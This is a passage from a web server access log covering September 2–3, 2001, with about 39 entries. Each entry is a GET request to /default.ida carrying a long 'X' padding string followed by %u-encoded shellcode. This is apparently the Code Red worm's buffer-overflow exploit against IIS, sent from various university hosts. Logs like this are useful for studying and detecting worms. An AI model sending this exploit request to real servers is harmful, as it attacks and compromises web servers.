  1158. 20010902 18:09:18: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1159. 20010902 18:30:14:  [128.238.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1160. 20010902 18:49:39: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1161. 20010902 20:49:03:  [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1162. 20010902 22:22:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1163. 20010903 00:49:35: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1164. 20010903 01:34:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1165. 20010903 01:48:46: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1166. 20010903 02:37:49:  [64.165.192.168] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1167. 20010903 03:55:37: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1168. 20010903 04:16:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1169. 20010903 04:58:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1170. 20010903 05:21:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1171. 20010903 05:53:55: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1172. 20010903 07:56:36: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1173. 20010903 07:57:38: slkc6400gw2poolA172.slkc.uswest.net [63.230.4.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1174. 20010903 08:47:29: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1175. 20010903 08:52:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1176. 20010903 09:15:30: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1177. 20010903 09:21:13: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1178. 20010903 09:38:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1179. 20010903 10:02:05:  [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1180. 20010903 10:04:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1181. 20010903 11:08:32:  [210.221.106.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1182. 20010903 11:21:57: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1183. 20010903 11:44:58: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1184. 20010903 12:43:47: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1185. 20010903 12:55:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1186. 20010903 13:24:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1187. 20010903 13:50:46:  [128.134.248.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1188. 20010903 14:39:42: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1189. 20010903 15:31:23: dialup-ccts5-58.cc.columbia.edu [128.59.6.67] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1190. 20010903 15:42:24: dyn-lern-24-86.dyn.columbia.edu [128.59.24.86] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1191. 20010903 16:04:50: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1192. 20010903 16:25:26: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1193. 20010903 16:30:53: tletl.ics.uci.edu [128.200.38.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1194. 20010903 16:34:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1195. 20010903 17:20:20: john-209.res.umass.edu [128.119.77.209] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1196. 20010903 17:37:11: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
